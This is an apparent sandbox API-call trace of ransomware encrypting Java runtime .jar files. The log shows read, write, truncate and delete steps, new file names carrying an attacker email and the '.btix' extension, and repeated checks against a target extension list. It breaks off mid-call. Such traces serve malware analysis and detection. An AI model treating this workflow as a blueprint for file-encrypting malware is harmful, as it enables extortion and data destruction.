1 [0153.215] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0153.215] lstrlenW (lpString="sunec.jar") returned 9 [0153.215] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0153.216] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=42185) returned 1 [0153.216] CloseHandle (hObject=0x3a4) returned 1 [0153.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20 [0153.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.216] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0153.216] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.216] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.216] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0153.217] GetLastError () returned 0x0 [0153.217] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0xa4c9, lpOverlapped=0x0) returned 1 [0153.218] WriteFile (in: hFile=0x33c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xa4d0, lpOverlapped=0x0) returned 1 [0153.219] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.219] WriteFile (in: hFile=0x33c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xe6, lpOverlapped=0x0) returned 1 [0153.219] SetEndOfFile (hFile=0x33c) returned 1 [0153.219] CloseHandle (hObject=0x33c) returned 1 [0153.220] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.220] SetEndOfFile (hFile=0x3a4) returned 1 [0153.220] CloseHandle (hObject=0x3a4) returned 1 [0153.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0153.221] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1 [0153.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0153.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0153.221] lstrlenW (lpString=".doc") returned 4 [0153.221] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0153.221] lstrlenW (lpString=".docx") returned 5 [0153.221] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0153.221] lstrlenW (lpString=".pdf") returned 4 [0153.221] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0153.221] lstrlenW (lpString=".xls") returned 4 [0153.221] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0153.221] lstrlenW (lpString=".xlsx") returned 5 [0153.221] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0153.221] lstrlenW (lpString=".ppt") returned 4 [0153.222] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0153.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0153.222] lstrlenW (lpString=".zip") returned 4 [0153.222] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0153.222] lstrlenW (lpString=".rar") returned 4 [0153.222] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0153.222] lstrlenW (lpString=".bz2") returned 4 [0153.222] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0153.222] lstrlenW (lpString=".7z") returned 3 [0153.222] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0153.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0153.222] lstrlenW (lpString=".dbf") returned 4 [0153.222] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0153.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0153.222] lstrlenW (lpString=".1cd") returned 4 [0153.222] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0153.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0153.222] lstrlenW (lpString=".jpg") returned 4 [0153.222] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0153.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0153.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0153.222] lstrlenW (lpString=".doc") returned 4 [0153.222] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0153.222] lstrlenW (lpString=".docx") returned 5 [0153.222] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0153.222] lstrlenW (lpString=".pdf") returned 4 [0153.222] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0153.222] lstrlenW (lpString=".xls") returned 4 [0153.222] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0153.222] lstrlenW (lpString=".xlsx") returned 5 [0153.222] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0153.222] lstrlenW (lpString=".ppt") returned 4 [0153.222] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0153.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0153.223] lstrlenW (lpString=".zip") returned 4 [0153.223] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0153.223] lstrlenW (lpString=".rar") returned 4 [0153.223] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0153.223] lstrlenW (lpString=".bz2") returned 4 [0153.223] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0153.223] lstrlenW (lpString=".7z") returned 3 [0153.223] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0153.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0153.223] lstrlenW (lpString=".dbf") returned 4 [0153.223] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0153.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0153.223] lstrlenW (lpString=".1cd") returned 4 [0153.223] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0153.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0153.223] lstrlenW (lpString=".jpg") returned 4 [0153.223] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0153.223] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0153.223] lstrlenW (lpString="sunjce_provider.jar") returned 19 [0153.223] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0153.223] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=280161) returned 1 [0153.223] CloseHandle (hObject=0x3a4) returned 1 [0153.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20 [0153.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.224] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0153.224] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.224] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.224] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0153.224] GetLastError () returned 0x0 [0153.224] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x44661, lpOverlapped=0x0) returned 1 [0153.229] WriteFile (in: hFile=0x33c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x44670, lpOverlapped=0x0) returned 1 [0153.233] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.234] WriteFile (in: hFile=0x33c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xfa, lpOverlapped=0x0) returned 1 [0153.234] SetEndOfFile (hFile=0x33c) returned 1 [0153.234] CloseHandle (hObject=0x33c) returned 1 [0153.234] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.234] SetEndOfFile (hFile=0x3a4) returned 1 [0153.236] CloseHandle (hObject=0x3a4) returned 1 [0153.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0153.237] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1 [0153.237] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0153.237] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0153.237] lstrlenW (lpString=".doc") returned 4 [0153.237] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0153.237] lstrlenW (lpString=".docx") returned 5 [0153.237] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0153.237] lstrlenW (lpString=".pdf") returned 4 [0153.237] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0153.237] lstrlenW (lpString=".xls") returned 4 [0153.238] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0153.238] lstrlenW (lpString=".xlsx") returned 5 [0153.238] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0153.238] lstrlenW (lpString=".ppt") returned 4 [0153.238] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0153.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0153.238] lstrlenW (lpString=".zip") returned 4 [0153.238] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0153.238] lstrlenW (lpString=".rar") returned 4 [0153.238] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0153.238] lstrlenW (lpString=".bz2") returned 4 [0153.238] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0153.238] lstrlenW (lpString=".7z") returned 3 [0153.238] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0153.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0153.238] lstrlenW (lpString=".dbf") returned 4 [0153.238] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0153.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0153.238] lstrlenW (lpString=".1cd") returned 4 [0153.238] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0153.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0153.238] lstrlenW (lpString=".jpg") returned 4 [0153.238] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0153.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0153.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0153.238] lstrlenW (lpString=".doc") returned 4 [0153.238] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0153.238] lstrlenW (lpString=".docx") returned 5 [0153.238] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0153.238] lstrlenW (lpString=".pdf") returned 4 [0153.238] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0153.238] lstrlenW (lpString=".xls") returned 4 [0153.238] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0153.238] lstrlenW (lpString=".xlsx") returned 5 [0153.238] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0153.239] lstrlenW (lpString=".ppt") returned 4 [0153.239] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0153.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0153.239] lstrlenW (lpString=".zip") returned 4 [0153.239] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0153.239] lstrlenW (lpString=".rar") returned 4 [0153.239] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0153.239] lstrlenW (lpString=".bz2") returned 4 [0153.239] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0153.239] lstrlenW (lpString=".7z") returned 3 [0153.239] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0153.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0153.239] lstrlenW (lpString=".dbf") returned 4 [0153.239] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0153.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0153.239] lstrlenW (lpString=".1cd") returned 4 [0153.239] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0153.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0153.239] lstrlenW (lpString=".jpg") returned 4 [0153.239] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0153.239] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0153.239] lstrlenW (lpString="sunmscapi.jar") returned 13 [0153.239] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0153.239] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=32699) returned 1 [0153.239] CloseHandle (hObject=0x3a4) returned 1 [0153.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20 [0153.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.240] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0153.240] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.240] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.240] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0153.240] GetLastError () returned 0x0 [0153.240] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x7fbb, lpOverlapped=0x0) returned 1 [0153.242] WriteFile (in: hFile=0x33c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x7fc0, lpOverlapped=0x0) returned 1 [0153.243] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.243] WriteFile (in: hFile=0x33c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xee, lpOverlapped=0x0) returned 1 [0153.243] SetEndOfFile (hFile=0x33c) returned 1 [0153.243] CloseHandle (hObject=0x33c) returned 1 [0153.243] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.243] SetEndOfFile (hFile=0x3a4) returned 1 [0153.244] CloseHandle (hObject=0x3a4) returned 1 [0153.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0153.244] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1 [0153.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0153.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0153.245] lstrlenW (lpString=".doc") returned 4 [0153.245] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0153.245] lstrlenW (lpString=".docx") returned 5 [0153.245] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0153.245] lstrlenW (lpString=".pdf") returned 4 [0153.245] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0153.245] lstrlenW (lpString=".xls") returned 4 [0153.245] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0153.245] lstrlenW (lpString=".xlsx") returned 5 [0153.245] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0153.245] lstrlenW (lpString=".ppt") returned 4 [0153.245] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0153.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0153.245] lstrlenW (lpString=".zip") returned 4 [0153.245] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0153.245] lstrlenW (lpString=".rar") returned 4 [0153.245] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0153.245] lstrlenW (lpString=".bz2") returned 4 [0153.246] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0153.246] lstrlenW (lpString=".7z") returned 3 [0153.246] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0153.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0153.246] lstrlenW (lpString=".dbf") returned 4 [0153.246] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0153.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0153.246] lstrlenW (lpString=".1cd") returned 4 [0153.246] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0153.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0153.246] lstrlenW (lpString=".jpg") returned 4 [0153.246] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0153.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0153.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0153.246] lstrlenW (lpString=".doc") returned 4 [0153.246] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0153.246] lstrlenW (lpString=".docx") returned 5 [0153.246] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0153.246] lstrlenW (lpString=".pdf") returned 4 [0153.246] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0153.246] lstrlenW (lpString=".xls") returned 4 [0153.246] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0153.246] lstrlenW (lpString=".xlsx") returned 5 [0153.246] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0153.246] lstrlenW (lpString=".ppt") returned 4 [0153.246] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0153.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0153.246] lstrlenW (lpString=".zip") returned 4 [0153.246] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0153.246] lstrlenW (lpString=".rar") returned 4 [0153.246] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0153.246] lstrlenW (lpString=".bz2") returned 4 [0153.246] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0153.246] lstrlenW (lpString=".7z") returned 3 [0153.247] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0153.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0153.247] lstrlenW (lpString=".dbf") returned 4 [0153.247] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0153.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0153.247] lstrlenW (lpString=".1cd") returned 4 [0153.247] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0153.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0153.247] lstrlenW (lpString=".jpg") returned 4 [0153.247] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0153.247] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0153.247] lstrlenW (lpString="sunpkcs11.jar") returned 13 [0153.247] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0153.247] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=251327) returned 1 [0153.247] CloseHandle (hObject=0x3a4) returned 1 [0153.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20 [0153.247] GetFileAttributesW (lpFileName="C:\\Program 